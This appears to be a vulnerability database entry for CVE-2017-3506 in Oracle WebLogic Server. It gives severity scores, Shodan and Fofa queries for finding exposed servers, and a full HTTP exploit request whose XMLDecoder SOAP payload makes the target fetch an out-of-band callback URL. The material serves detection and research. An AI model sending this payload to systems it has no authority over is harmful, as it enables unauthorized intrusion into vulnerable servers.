| Title | Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system. |
| Remediation | Apply the necessary patches or updates provided by Oracle to fix this vulnerability. |
| CVSS Score | 7.4 |
| EPSS Score | 0.94393 |
| CVE ID | CVE-2017-3506 |
| Shodan Query | http.title:"oracle peoplesoft sign-in"product:"oracle weblogic" |
| Fofa Query | title="oracle peoplesoft sign-in" |
| Tags | cve cve2017 rce oast hackerone weblogic oracle kev vkev vuln |
The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 571
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Content-Type: text/xml;charset=UTF-8
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://d5jqdiple0o4ta701aq0ppwbwfmgd377k.oast.live</string>
</void>
<void idref="url">
<void id="stream" method ="openStream"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-3506.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-3506.pcap
N/AN/A